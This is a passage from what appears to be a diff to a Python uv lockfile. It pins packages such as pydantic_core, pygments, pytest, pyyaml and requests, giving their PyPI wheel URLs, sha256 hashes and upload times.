"https://files.pythonhosted.org/packages/11/72/90fda5ee3b97e51c494938a4a44c3a35a9c96c19bba12372fb9c634d6f57/pydantic_core-2.41.5-graalpy311-graalpy242_311_native-macosx_10_12_x86_64.whl", hash = "sha256:b96d5f26b05d03cc60f11a7761a5ded1741da411e7fe0909e27a5e6a0cb7b034", size = 2115441, upload-time = "2025-11-04T13:42:39.557Z" }, + { url = "https://files.pythonhosted.org/packages/1f/53/8942f884fa33f50794f119012dc6a1a02ac43a56407adaac20463df8e98f/pydantic_core-2.41.5-graalpy311-graalpy242_311_native-macosx_11_0_arm64.whl", hash = "sha256:634e8609e89ceecea15e2d61bc9ac3718caaaa71963717bf3c8f38bfde64242c", size = 1930291, upload-time = "2025-11-04T13:42:42.169Z" }, + { url = "https://files.pythonhosted.org/packages/79/c8/ecb9ed9cd942bce09fc888ee960b52654fbdbede4ba6c2d6e0d3b1d8b49c/pydantic_core-2.41.5-graalpy311-graalpy242_311_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:93e8740d7503eb008aa2df04d3b9735f845d43ae845e6dcd2be0b55a2da43cd2", size = 1948632, upload-time = "2025-11-04T13:42:44.564Z" }, + { url = "https://files.pythonhosted.org/packages/2e/1b/687711069de7efa6af934e74f601e2a4307365e8fdc404703afc453eab26/pydantic_core-2.41.5-graalpy311-graalpy242_311_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f15489ba13d61f670dcc96772e733aad1a6f9c429cc27574c6cdaed82d0146ad", size = 2138905, upload-time = "2025-11-04T13:42:47.156Z" }, + { url = "https://files.pythonhosted.org/packages/09/32/59b0c7e63e277fa7911c2fc70ccfb45ce4b98991e7ef37110663437005af/pydantic_core-2.41.5-graalpy312-graalpy250_312_native-macosx_10_12_x86_64.whl", hash = "sha256:7da7087d756b19037bc2c06edc6c170eeef3c3bafcb8f532ff17d64dc427adfd", size = 2110495, upload-time = "2025-11-04T13:42:49.689Z" }, + { url = "https://files.pythonhosted.org/packages/aa/81/05e400037eaf55ad400bcd318c05bb345b57e708887f07ddb2d20e3f0e98/pydantic_core-2.41.5-graalpy312-graalpy250_312_native-macosx_11_0_arm64.whl", hash = "sha256:aabf5777b5c8ca26f7824cb4a120a740c9588ed58df9b2d196ce92fba42ff8dc", size = 1915388, upload-time = "2025-11-04T13:42:52.215Z" }, + { url = "https://files.pythonhosted.org/packages/6e/0d/e3549b2399f71d56476b77dbf3cf8937cec5cd70536bdc0e374a421d0599/pydantic_core-2.41.5-graalpy312-graalpy250_312_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c007fe8a43d43b3969e8469004e9845944f1a80e6acd47c150856bb87f230c56", size = 1942879, upload-time = "2025-11-04T13:42:56.483Z" }, + { url = "https://files.pythonhosted.org/packages/f7/07/34573da085946b6a313d7c42f82f16e8920bfd730665de2d11c0c37a74b5/pydantic_core-2.41.5-graalpy312-graalpy250_312_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:76d0819de158cd855d1cbb8fcafdf6f5cf1eb8e470abe056d5d161106e38062b", size = 2139017, upload-time = "2025-11-04T13:42:59.471Z" }, + { url = "https://files.pythonhosted.org/packages/5f/9b/1b3f0e9f9305839d7e84912f9e8bfbd191ed1b1ef48083609f0dabde978c/pydantic_core-2.41.5-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:b2379fa7ed44ddecb5bfe4e48577d752db9fc10be00a6b7446e9663ba143de26", size = 2101980, upload-time = "2025-11-04T13:43:25.97Z" }, + { url = "https://files.pythonhosted.org/packages/a4/ed/d71fefcb4263df0da6a85b5d8a7508360f2f2e9b3bf5814be9c8bccdccc1/pydantic_core-2.41.5-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:266fb4cbf5e3cbd0b53669a6d1b039c45e3ce651fd5442eff4d07c2cc8d66808", size = 1923865, upload-time = "2025-11-04T13:43:28.763Z" }, + { url = "https://files.pythonhosted.org/packages/ce/3a/626b38db460d675f873e4444b4bb030453bbe7b4ba55df821d026a0493c4/pydantic_core-2.41.5-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:58133647260ea01e4d0500089a8c4f07bd7aa6ce109682b1426394988d8aaacc", size = 2134256, upload-time = "2025-11-04T13:43:31.71Z" }, + { url = "https://files.pythonhosted.org/packages/83/d9/8412d7f06f616bbc053d30cb4e5f76786af3221462ad5eee1f202021eb4e/pydantic_core-2.41.5-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:287dad91cfb551c363dc62899a80e9e14da1f0e2b6ebde82c806612ca2a13ef1", size = 2174762, upload-time = "2025-11-04T13:43:34.744Z" }, + { url = "https://files.pythonhosted.org/packages/55/4c/162d906b8e3ba3a99354e20faa1b49a85206c47de97a639510a0e673f5da/pydantic_core-2.41.5-pp311-pypy311_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:03b77d184b9eb40240ae9fd676ca364ce1085f203e1b1256f8ab9984dca80a84", size = 2143141, upload-time = "2025-11-04T13:43:37.701Z" }, + { url = "https://files.pythonhosted.org/packages/1f/f2/f11dd73284122713f5f89fc940f370d035fa8e1e078d446b3313955157fe/pydantic_core-2.41.5-pp311-pypy311_pp73-musllinux_1_1_armv7l.whl", hash = "sha256:a668ce24de96165bb239160b3d854943128f4334822900534f2fe947930e5770", size = 2330317, upload-time = "2025-11-04T13:43:40.406Z" }, + { url = "https://files.pythonhosted.org/packages/88/9d/b06ca6acfe4abb296110fb1273a4d848a0bfb2ff65f3ee92127b3244e16b/pydantic_core-2.41.5-pp311-pypy311_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:f14f8f046c14563f8eb3f45f499cc658ab8d10072961e07225e507adb700e93f", size = 2316992, upload-time = "2025-11-04T13:43:43.602Z" }, + { url = "https://files.pythonhosted.org/packages/36/c7/cfc8e811f061c841d7990b0201912c3556bfeb99cdcb7ed24adc8d6f8704/pydantic_core-2.41.5-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:56121965f7a4dc965bff783d70b907ddf3d57f6eba29b6d2e5dabfaf07799c51", size = 2145302, upload-time = "2025-11-04T13:43:46.64Z" }, +] + +[[package]] +name = "pygments" +version = "2.20.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/c3/b2/bc9c9196916376152d655522fdcebac55e66de6603a76a02bca1b6414f6c/pygments-2.20.0.tar.gz", hash = "sha256:6757cd03768053ff99f3039c1a36d6c0aa0b263438fcab17520b30a303a82b5f", size = 4955991, upload-time = "2026-03-29T13:29:33.898Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f4/7e/a72dd26f3b0f4f2bf1dd8923c85f7ceb43172af56d63c7383eb62b332364/pygments-2.20.0-py3-none-any.whl", hash = "sha256:81a9e26dd42fd28a23a2d169d86d7ac03b46e2f8b59ed4698fb4785f946d0176", size = 1231151, upload-time = "2026-03-29T13:29:30.038Z" }, +] + +[[package]] +name = "pytest" +version = "9.0.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "colorama", marker = "sys_platform == 'win32'" }, + { name = "iniconfig" }, + { name = "packaging" }, + { name = "pluggy" }, + { name = "pygments" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/d1/db/7ef3487e0fb0049ddb5ce41d3a49c235bf9ad299b6a25d5780a89f19230f/pytest-9.0.2.tar.gz", hash = "sha256:75186651a92bd89611d1d9fc20f0b4345fd827c41ccd5c299a868a05d70edf11", size = 1568901, upload-time = "2025-12-06T21:30:51.014Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/3b/ab/b3226f0bd7cdcf710fbede2b3548584366da3b19b5021e74f5bde2a8fa3f/pytest-9.0.2-py3-none-any.whl", hash = "sha256:711ffd45bf766d5264d487b917733b453d917afd2b0ad65223959f59089f875b", size = 374801, upload-time = "2025-12-06T21:30:49.154Z" }, +] + +[[package]] +name = "pytest-mock" +version = "3.15.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pytest" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/68/14/eb014d26be205d38ad5ad20d9a80f7d201472e08167f0bb4361e251084a9/pytest_mock-3.15.1.tar.gz", hash = "sha256:1849a238f6f396da19762269de72cb1814ab44416fa73a8686deac10b0d87a0f", size = 34036, upload-time = "2025-09-16T16:37:27.081Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/5a/cc/06253936f4a7fa2e0f48dfe6d851d9c56df896a9ab09ac019d70b760619c/pytest_mock-3.15.1-py3-none-any.whl", hash = "sha256:0a25e2eb88fe5168d535041d09a4529a188176ae608a6d249ee65abc0949630d", size = 10095, upload-time = "2025-09-16T16:37:25.734Z" }, +] + +[[package]] +name = "python-dateutil" +version = "2.9.0.post0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "six" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/66/c0/0c8b6ad9f17a802ee498c46e004a0eb49bc148f2fd230864601a86dcf6db/python-dateutil-2.9.0.post0.tar.gz", hash = "sha256:37dd54208da7e1cd875388217d5e00ebd4179249f90fb72437e91a35459a0ad3", size = 342432, upload-time = "2024-03-01T18:36:20.211Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ec/57/56b9bcc3c9c6a792fcbaf139543cee77261f3651ca9da0c93f5c1221264b/python_dateutil-2.9.0.post0-py2.py3-none-any.whl", hash = "sha256:a8b2bc7bffae282281c8140a97d3aa9c14da0b136dfe83f850eea9a5f7470427", size = 229892, upload-time = "2024-03-01T18:36:18.57Z" }, +] + +[[package]] +name = "python-dotenv" +version = "1.2.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/82/ed/0301aeeac3e5353ef3d94b6ec08bbcabd04a72018415dcb29e588514bba8/python_dotenv-1.2.2.tar.gz", hash = "sha256:2c371a91fbd7ba082c2c1dc1f8bf89ca22564a087c2c287cd9b662adde799cf3", size = 50135, upload-time = "2026-03-01T16:00:26.196Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0b/d7/1959b9648791274998a9c3526f6d0ec8fd2233e4d4acce81bbae76b44b2a/python_dotenv-1.2.2-py3-none-any.whl", hash = "sha256:1d8214789a24de455a8b8bd8ae6fe3c6b69a5e3d64aa8a8e5d68e694bbcb285a", size = 22101, upload-time = "2026-03-01T16:00:25.09Z" }, +] + +[[package]] +name = "pyyaml" +version = "6.0.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/05/8e/961c0007c59b8dd7729d542c61a4d537767a59645b82a0b521206e1e25c2/pyyaml-6.0.3.tar.gz", hash = "sha256:d76623373421df22fb4cf8817020cbb7ef15c725b9d5e45f17e189bfc384190f", size = 130960, upload-time = "2025-09-25T21:33:16.546Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/6d/16/a95b6757765b7b031c9374925bb718d55e0a9ba8a1b6a12d25962ea44347/pyyaml-6.0.3-cp311-cp311-macosx_10_13_x86_64.whl", hash = "sha256:44edc647873928551a01e7a563d7452ccdebee747728c1080d881d68af7b997e", size = 185826, upload-time = "2025-09-25T21:31:58.655Z" }, + { url = "https://files.pythonhosted.org/packages/16/19/13de8e4377ed53079ee996e1ab0a9c33ec2faf808a4647b7b4c0d46dd239/pyyaml-6.0.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:652cb6edd41e718550aad172851962662ff2681490a8a711af6a4d288dd96824", size = 175577, upload-time = "2025-09-25T21:32:00.088Z" }, + { url = "https://files.pythonhosted.org/packages/0c/62/d2eb46264d4b157dae1275b573017abec435397aa59cbcdab6fc978a8af4/pyyaml-6.0.3-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:10892704fc220243f5305762e276552a0395f7beb4dbf9b14ec8fd43b57f126c", size = 775556, upload-time = "2025-09-25T21:32:01.31Z" }, + { url = "https://files.pythonhosted.org/packages/10/cb/16c3f2cf3266edd25aaa00d6c4350381c8b012ed6f5276675b9eba8d9ff4/pyyaml-6.0.3-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:850774a7879607d3a6f50d36d04f00ee69e7fc816450e5f7e58d7f17f1ae5c00", size = 882114, upload-time = "2025-09-25T21:32:03.376Z" }, + { url = "https://files.pythonhosted.org/packages/71/60/917329f640924b18ff085ab889a11c763e0b573da888e8404ff486657602/pyyaml-6.0.3-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b8bb0864c5a28024fac8a632c443c87c5aa6f215c0b126c449ae1a150412f31d", size = 806638, upload-time = "2025-09-25T21:32:04.553Z" }, + { url = "https://files.pythonhosted.org/packages/dd/6f/529b0f316a9fd167281a6c3826b5583e6192dba792dd55e3203d3f8e655a/pyyaml-6.0.3-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:1d37d57ad971609cf3c53ba6a7e365e40660e3be0e5175fa9f2365a379d6095a", size = 767463, upload-time = "2025-09-25T21:32:06.152Z" }, + { url = "https://files.pythonhosted.org/packages/f2/6a/b627b4e0c1dd03718543519ffb2f1deea4a1e6d42fbab8021936a4d22589/pyyaml-6.0.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:37503bfbfc9d2c40b344d06b2199cf0e96e97957ab1c1b546fd4f87e53e5d3e4", size = 794986, upload-time = "2025-09-25T21:32:07.367Z" }, + { url = "https://files.pythonhosted.org/packages/45/91/47a6e1c42d9ee337c4839208f30d9f09caa9f720ec7582917b264defc875/pyyaml-6.0.3-cp311-cp311-win32.whl", hash = "sha256:8098f252adfa6c80ab48096053f512f2321f0b998f98150cea9bd23d83e1467b", size = 142543, upload-time = "2025-09-25T21:32:08.95Z" }, + { url = "https://files.pythonhosted.org/packages/da/e3/ea007450a105ae919a72393cb06f122f288ef60bba2dc64b26e2646fa315/pyyaml-6.0.3-cp311-cp311-win_amd64.whl", hash = "sha256:9f3bfb4965eb874431221a3ff3fdcddc7e74e3b07799e0e84ca4a0f867d449bf", size = 158763, upload-time = "2025-09-25T21:32:09.96Z" }, + { url = "https://files.pythonhosted.org/packages/d1/33/422b98d2195232ca1826284a76852ad5a86fe23e31b009c9886b2d0fb8b2/pyyaml-6.0.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:7f047e29dcae44602496db43be01ad42fc6f1cc0d8cd6c83d342306c32270196", size = 182063, upload-time = "2025-09-25T21:32:11.445Z" }, + { url = "https://files.pythonhosted.org/packages/89/a0/6cf41a19a1f2f3feab0e9c0b74134aa2ce6849093d5517a0c550fe37a648/pyyaml-6.0.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:fc09d0aa354569bc501d4e787133afc08552722d3ab34836a80547331bb5d4a0", size = 173973, upload-time = "2025-09-25T21:32:12.492Z" }, + { url = "https://files.pythonhosted.org/packages/ed/23/7a778b6bd0b9a8039df8b1b1d80e2e2ad78aa04171592c8a5c43a56a6af4/pyyaml-6.0.3-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9149cad251584d5fb4981be1ecde53a1ca46c891a79788c0df828d2f166bda28", size = 775116, upload-time = "2025-09-25T21:32:13.652Z" }, + { url = "https://files.pythonhosted.org/packages/65/30/d7353c338e12baef4ecc1b09e877c1970bd3382789c159b4f89d6a70dc09/pyyaml-6.0.3-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:5fdec68f91a0c6739b380c83b951e2c72ac0197ace422360e6d5a959d8d97b2c", size = 844011, upload-time = "2025-09-25T21:32:15.21Z" }, + { url = "https://files.pythonhosted.org/packages/8b/9d/b3589d3877982d4f2329302ef98a8026e7f4443c765c46cfecc8858c6b4b/pyyaml-6.0.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ba1cc08a7ccde2d2ec775841541641e4548226580ab850948cbfda66a1befcdc", size = 807870, upload-time = "2025-09-25T21:32:16.431Z" }, + { url = "https://files.pythonhosted.org/packages/05/c0/b3be26a015601b822b97d9149ff8cb5ead58c66f981e04fedf4e762f4bd4/pyyaml-6.0.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:8dc52c23056b9ddd46818a57b78404882310fb473d63f17b07d5c40421e47f8e", size = 761089, upload-time = "2025-09-25T21:32:17.56Z" }, + { url = "https://files.pythonhosted.org/packages/be/8e/98435a21d1d4b46590d5459a22d88128103f8da4c2d4cb8f14f2a96504e1/pyyaml-6.0.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:41715c910c881bc081f1e8872880d3c650acf13dfa8214bad49ed4cede7c34ea", size = 790181, upload-time = "2025-09-25T21:32:18.834Z" }, + { url = "https://files.pythonhosted.org/packages/74/93/7baea19427dcfbe1e5a372d81473250b379f04b1bd3c4c5ff825e2327202/pyyaml-6.0.3-cp312-cp312-win32.whl", hash = "sha256:96b533f0e99f6579b3d4d4995707cf36df9100d67e0c8303a0c55b27b5f99bc5", size = 137658, upload-time = "2025-09-25T21:32:20.209Z" }, + { url = "https://files.pythonhosted.org/packages/86/bf/899e81e4cce32febab4fb42bb97dcdf66bc135272882d1987881a4b519e9/pyyaml-6.0.3-cp312-cp312-win_amd64.whl", hash = "sha256:5fcd34e47f6e0b794d17de1b4ff496c00986e1c83f7ab2fb8fcfe9616ff7477b", size = 154003, upload-time = "2025-09-25T21:32:21.167Z" }, + { url = "https://files.pythonhosted.org/packages/1a/08/67bd04656199bbb51dbed1439b7f27601dfb576fb864099c7ef0c3e55531/pyyaml-6.0.3-cp312-cp312-win_arm64.whl", hash = "sha256:64386e5e707d03a7e172c0701abfb7e10f0fb753ee1d773128192742712a98fd", size = 140344, upload-time = "2025-09-25T21:32:22.617Z" }, + { url = "https://files.pythonhosted.org/packages/d1/11/0fd08f8192109f7169db964b5707a2f1e8b745d4e239b784a5a1dd80d1db/pyyaml-6.0.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:8da9669d359f02c0b91ccc01cac4a67f16afec0dac22c2ad09f46bee0697eba8", size = 181669, upload-time = "2025-09-25T21:32:23.673Z" }, + { url = "https://files.pythonhosted.org/packages/b1/16/95309993f1d3748cd644e02e38b75d50cbc0d9561d21f390a76242ce073f/pyyaml-6.0.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:2283a07e2c21a2aa78d9c4442724ec1eb15f5e42a723b99cb3d822d48f5f7ad1", size = 173252, upload-time = "2025-09-25T21:32:25.149Z" }, + { url = "https://files.pythonhosted.org/packages/50/31/b20f376d3f810b9b2371e72ef5adb33879b25edb7a6d072cb7ca0c486398/pyyaml-6.0.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ee2922902c45ae8ccada2c5b501ab86c36525b883eff4255313a253a3160861c", size = 767081, upload-time = "2025-09-25T21:32:26.575Z" }, + { url = "https://files.pythonhosted.org/packages/49/1e/a55ca81e949270d5d4432fbbd19dfea5321eda7c41a849d443dc92fd1ff7/pyyaml-6.0.3-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a33284e20b78bd4a18c8c2282d549d10bc8408a2a7ff57653c0cf0b9be0afce5", size = 841159, upload-time = "2025-09-25T21:32:27.727Z" }, + { url = "https://files.pythonhosted.org/packages/74/27/e5b8f34d02d9995b80abcef563ea1f8b56d20134d8f4e5e81733b1feceb2/pyyaml-6.0.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0f29edc409a6392443abf94b9cf89ce99889a1dd5376d94316ae5145dfedd5d6", size = 801626, upload-time = "2025-09-25T21:32:28.878Z" }, + { url = "https://files.pythonhosted.org/packages/f9/11/ba845c23988798f40e52ba45f34849aa8a1f2d4af4b798588010792ebad6/pyyaml-6.0.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:f7057c9a337546edc7973c0d3ba84ddcdf0daa14533c2065749c9075001090e6", size = 753613, upload-time = "2025-09-25T21:32:30.178Z" }, + { url = "https://files.pythonhosted.org/packages/3d/e0/7966e1a7bfc0a45bf0a7fb6b98ea03fc9b8d84fa7f2229e9659680b69ee3/pyyaml-6.0.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:eda16858a3cab07b80edaf74336ece1f986ba330fdb8ee0d6c0d68fe82bc96be", size = 794115, upload-time = "2025-09-25T21:32:31.353Z" }, + { url = "https://files.pythonhosted.org/packages/de/94/980b50a6531b3019e45ddeada0626d45fa85cbe22300844a7983285bed3b/pyyaml-6.0.3-cp313-cp313-win32.whl", hash = "sha256:d0eae10f8159e8fdad514efdc92d74fd8d682c933a6dd088030f3834bc8e6b26", size = 137427, upload-time = "2025-09-25T21:32:32.58Z" }, + { url = "https://files.pythonhosted.org/packages/97/c9/39d5b874e8b28845e4ec2202b5da735d0199dbe5b8fb85f91398814a9a46/pyyaml-6.0.3-cp313-cp313-win_amd64.whl", hash = "sha256:79005a0d97d5ddabfeeea4cf676af11e647e41d81c9a7722a193022accdb6b7c", size = 154090, upload-time = "2025-09-25T21:32:33.659Z" }, + { url = "https://files.pythonhosted.org/packages/73/e8/2bdf3ca2090f68bb3d75b44da7bbc71843b19c9f2b9cb9b0f4ab7a5a4329/pyyaml-6.0.3-cp313-cp313-win_arm64.whl", hash = "sha256:5498cd1645aa724a7c71c8f378eb29ebe23da2fc0d7a08071d89469bf1d2defb", size = 140246, upload-time = "2025-09-25T21:32:34.663Z" }, + { url = "https://files.pythonhosted.org/packages/9d/8c/f4bd7f6465179953d3ac9bc44ac1a8a3e6122cf8ada906b4f96c60172d43/pyyaml-6.0.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:8d1fab6bb153a416f9aeb4b8763bc0f22a5586065f86f7664fc23339fc1c1fac", size = 181814, upload-time = "2025-09-25T21:32:35.712Z" }, + { url = "https://files.pythonhosted.org/packages/bd/9c/4d95bb87eb2063d20db7b60faa3840c1b18025517ae857371c4dd55a6b3a/pyyaml-6.0.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:34d5fcd24b8445fadc33f9cf348c1047101756fd760b4dacb5c3e99755703310", size = 173809, upload-time = "2025-09-25T21:32:36.789Z" }, + { url = "https://files.pythonhosted.org/packages/92/b5/47e807c2623074914e29dabd16cbbdd4bf5e9b2db9f8090fa64411fc5382/pyyaml-6.0.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:501a031947e3a9025ed4405a168e6ef5ae3126c59f90ce0cd6f2bfc477be31b7", size = 766454, upload-time = "2025-09-25T21:32:37.966Z" }, + { url = "https://files.pythonhosted.org/packages/02/9e/e5e9b168be58564121efb3de6859c452fccde0ab093d8438905899a3a483/pyyaml-6.0.3-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:b3bc83488de33889877a0f2543ade9f70c67d66d9ebb4ac959502e12de895788", size = 836355, upload-time = "2025-09-25T21:32:39.178Z" }, + { url = "https://files.pythonhosted.org/packages/88/f9/16491d7ed2a919954993e48aa941b200f38040928474c9e85ea9e64222c3/pyyaml-6.0.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c458b6d084f9b935061bc36216e8a69a7e293a2f1e68bf956dcd9e6cbcd143f5", size = 794175, upload-time = "2025-09-25T21:32:40.865Z" }, + { url = "https://files.pythonhosted.org/packages/dd/3f/5989debef34dc6397317802b527dbbafb2b4760878a53d4166579111411e/pyyaml-6.0.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7c6610def4f163542a622a73fb39f534f8c101d690126992300bf3207eab9764", size = 755228, upload-time = "2025-09-25T21:32:42.084Z" }, + { url = "https://files.pythonhosted.org/packages/d7/ce/af88a49043cd2e265be63d083fc75b27b6ed062f5f9fd6cdc223ad62f03e/pyyaml-6.0.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:5190d403f121660ce8d1d2c1bb2ef1bd05b5f68533fc5c2ea899bd15f4399b35", size = 789194, upload-time = "2025-09-25T21:32:43.362Z" }, + { url = "https://files.pythonhosted.org/packages/23/20/bb6982b26a40bb43951265ba29d4c246ef0ff59c9fdcdf0ed04e0687de4d/pyyaml-6.0.3-cp314-cp314-win_amd64.whl", hash = "sha256:4a2e8cebe2ff6ab7d1050ecd59c25d4c8bd7e6f400f5f82b96557ac0abafd0ac", size = 156429, upload-time = "2025-09-25T21:32:57.844Z" }, + { url = "https://files.pythonhosted.org/packages/f4/f4/a4541072bb9422c8a883ab55255f918fa378ecf083f5b85e87fc2b4eda1b/pyyaml-6.0.3-cp314-cp314-win_arm64.whl", hash = "sha256:93dda82c9c22deb0a405ea4dc5f2d0cda384168e466364dec6255b293923b2f3", size = 143912, upload-time = "2025-09-25T21:32:59.247Z" }, + { url = "https://files.pythonhosted.org/packages/7c/f9/07dd09ae774e4616edf6cda684ee78f97777bdd15847253637a6f052a62f/pyyaml-6.0.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:02893d100e99e03eda1c8fd5c441d8c60103fd175728e23e431db1b589cf5ab3", size = 189108, upload-time = "2025-09-25T21:32:44.377Z" }, + { url = "https://files.pythonhosted.org/packages/4e/78/8d08c9fb7ce09ad8c38ad533c1191cf27f7ae1effe5bb9400a46d9437fcf/pyyaml-6.0.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:c1ff362665ae507275af2853520967820d9124984e0f7466736aea23d8611fba", size = 183641, upload-time = "2025-09-25T21:32:45.407Z" }, + { url = "https://files.pythonhosted.org/packages/7b/5b/3babb19104a46945cf816d047db2788bcaf8c94527a805610b0289a01c6b/pyyaml-6.0.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6adc77889b628398debc7b65c073bcb99c4a0237b248cacaf3fe8a557563ef6c", size = 831901, upload-time = "2025-09-25T21:32:48.83Z" }, + { url = "https://files.pythonhosted.org/packages/8b/cc/dff0684d8dc44da4d22a13f35f073d558c268780ce3c6ba1b87055bb0b87/pyyaml-6.0.3-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a80cb027f6b349846a3bf6d73b5e95e782175e52f22108cfa17876aaeff93702", size = 861132, upload-time = "2025-09-25T21:32:50.149Z" }, + { url = "https://files.pythonhosted.org/packages/b1/5e/f77dc6b9036943e285ba76b49e118d9ea929885becb0a29ba8a7c75e29fe/pyyaml-6.0.3-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:00c4bdeba853cc34e7dd471f16b4114f4162dc03e6b7afcc2128711f0eca823c", size = 839261, upload-time = "2025-09-25T21:32:51.808Z" }, + { url = "https://files.pythonhosted.org/packages/ce/88/a9db1376aa2a228197c58b37302f284b5617f56a5d959fd1763fb1675ce6/pyyaml-6.0.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:66e1674c3ef6f541c35191caae2d429b967b99e02040f5ba928632d9a7f0f065", size = 805272, upload-time = "2025-09-25T21:32:52.941Z" }, + { url = "https://files.pythonhosted.org/packages/da/92/1446574745d74df0c92e6aa4a7b0b3130706a4142b2d1a5869f2eaa423c6/pyyaml-6.0.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:16249ee61e95f858e83976573de0f5b2893b3677ba71c9dd36b9cf8be9ac6d65", size = 829923, upload-time = "2025-09-25T21:32:54.537Z" }, + { url = "https://files.pythonhosted.org/packages/f0/7a/1c7270340330e575b92f397352af856a8c06f230aa3e76f86b39d01b416a/pyyaml-6.0.3-cp314-cp314t-win_amd64.whl", hash = "sha256:4ad1906908f2f5ae4e5a8ddfce73c320c2a1429ec52eafd27138b7f1cbe341c9", size = 174062, upload-time = "2025-09-25T21:32:55.767Z" }, + { url = "https://files.pythonhosted.org/packages/f1/12/de94a39c2ef588c7e6455cfbe7343d3b2dc9d6b6b2f40c4c6565744c873d/pyyaml-6.0.3-cp314-cp314t-win_arm64.whl", hash = "sha256:ebc55a14a21cb14062aa4162f906cd962b28e2e9ea38f9b4391244cd8de4ae0b", size = 149341, upload-time = "2025-09-25T21:32:56.828Z" }, +] + +[[package]] +name = "requests" +version = "2.33.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "certifi" }, + { name = "charset-normalizer" }, + { name = "idna" }, + { name = "urllib3" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/34/64/8860370b167a9721e8956ae116825caff829224fbca0ca6e7bf8ddef8430/requests-2.33.0.tar.gz", hash = "sha256:c7ebc5e8b0f21837386ad0e1c8fe8b829fa5f544d8df3b2253bff14ef29d7652", size = 134232, upload-time = "2026-03-25T15:10:41.586Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/56/5d/c814546c2333ceea4ba42262d8c4d55763003e767fa169adc693bd524478/requests-2.33.0-py3-none-any.whl", hash = "sha256:3324635456fa185245e24865e810cecec7b4caf933d7eb133dcde67d48cee69b", size = 65017, upload-time = "2026-03-25T15:10:40.382Z" }, +] + +[[package]] +name = "rich" +version = "14.3.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "markdown-it-py" }, + { name = "pygments" }, +] +sdist = { url = 